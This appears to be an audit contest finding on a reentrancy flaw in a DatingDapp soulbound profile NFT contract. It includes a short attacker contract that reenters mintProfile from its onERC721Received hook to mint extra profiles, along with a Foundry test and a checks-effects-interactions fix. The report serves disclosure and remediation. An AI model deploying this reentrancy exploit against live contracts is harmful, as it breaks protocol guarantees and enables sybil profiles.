mintProfile() enforces "one profile per address" by checking profileToToken[msg.sender] == 0, but it calls _safeMint before writing profileToToken[msg.sender] = tokenId. _safeMint invokes onERC721Received on the recipient, and at that moment the guard still reads 0, so a contract profile-minter can reenter mintProfile from the receiver hook and mint a second profile NFT. The reentrant call completes and registers its token in the mapping; the outer call then overwrites the mapping with its own token id. The address now owns two soulbound profile NFTs, and one of them is orphaned: profileToToken points at only one token, so the other can never be burned through burnProfile() (which only burns the mapped token) or managed through the profile system, even though it still exists and still counts as a DatingDapp NFT.
Likelihood: Medium - requires the minter to be a small contract implementing the ERC721 receiver hook; no other preconditions, and minting is permissionless.
Impact: Medium - the protocol's core promise, one verified soulbound profile per person, is violated: an address can hold multiple profile NFTs (sybil dating profiles), and the extra NFT is permanently orphaned from the profile mapping, unburnable and desynchronized from profileToToken, which also makes the address's LikeRegistry eligibility checks operate on a profile that no longer matches what the address actually owns.
Verified with Foundry (test passes): an attacker contract whose onERC721Received reenters mintProfile once ends up owning 2 profile NFTs for a single address.
Follow checks-effects-interactions: write all state before minting, or add a reentrancy guard:
## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.